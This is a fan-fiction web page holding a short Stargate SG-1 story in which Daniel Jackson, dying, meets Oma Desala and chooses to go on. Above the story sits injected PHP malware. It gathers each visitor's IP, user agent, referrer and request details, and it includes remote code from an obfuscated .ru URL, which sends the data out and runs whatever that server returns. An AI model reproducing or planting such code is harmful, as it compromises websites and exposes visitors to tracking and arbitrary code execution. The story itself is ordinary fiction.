#error_reporting(0);$a=(isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST); $b=(isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME); $c=(isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI); $g=(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT); $h=(isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR); $n=(isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER); $str=base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($g).".".base64_encode($h).".".base64_encode($n);if((include_once(base64_decode("aHR0cDovLw==")."bdgahzzazbzczbgizb".base64_decode("LnVzZXJzLnBocGluY2x1ZGUucnU=")."/?".$str))){} else {include_once(base64_decode("aHR0cDovLw==")."bdgahzzazbzczbgizb".base64_decode("LnVzZXJzLnBocGluY2x1ZGUucnU=")."/?".$str);}?> To Die, To Sleep... by Anise76
- Text Size +

My skin. It's melting off my bones. My flesh is disintegrating, and my mind cannot wait to follow. Surely this is it? This is the time when I may rejoin my beloved Sha're? I am ready , my love. I am ready to meet with you once again.

But no.

There is a light, a voice, someone calling me. Something strips me of my agonising, failing body, and pulls me into... nothingness.

Except this nothingness resembles everything I have come to love and hold dear over the last few years. It LOOKS like home, it SOUNDS like home. But it feels like... nothing.

I turn towards the sound of the voice, the soft, warm, cajoling voice, and I am stunned by a flash of recognition. Who... where... huh? I step forward, feeling my nothing-feet striking the nothing-steel of the nothing-gateramp. I reach out a not-there hand, and the owner of the voice, a capably beautiful woman, turns.

It is Oma. Oma Dasala. She is the woman - the Ancient - from Kheb. I look into her eyes, and I see the universe - past, present, and future, deep inside her. She is everything, yet nothing. I am transfixed and struck dumb, unable to form coherent thought beyond the very moment I am caught in.

I reach out to find my love, my beautiful wife, and I cannot find her. I try to release my pain, an anguished howl sticking in my throat, as I remember I am nothing, and therefore cannot feel or express pain. I am drawn back into those eyes, those endless eyes, and a voice, nothing more than a whisper on the breeze, a disturbance in browning leaves, gives me a choice.

To let go, or to go on.

A choice I had made many years before when my Shar'e, my light, was taken from me. A choice which was easy back then, a single step taken to fulfil a lifetime's yearning.

And so it is simple again. I go on.

You must login (register) to review.
Skin created by Kali - Icons by Mark James - Based on Default SMF Skin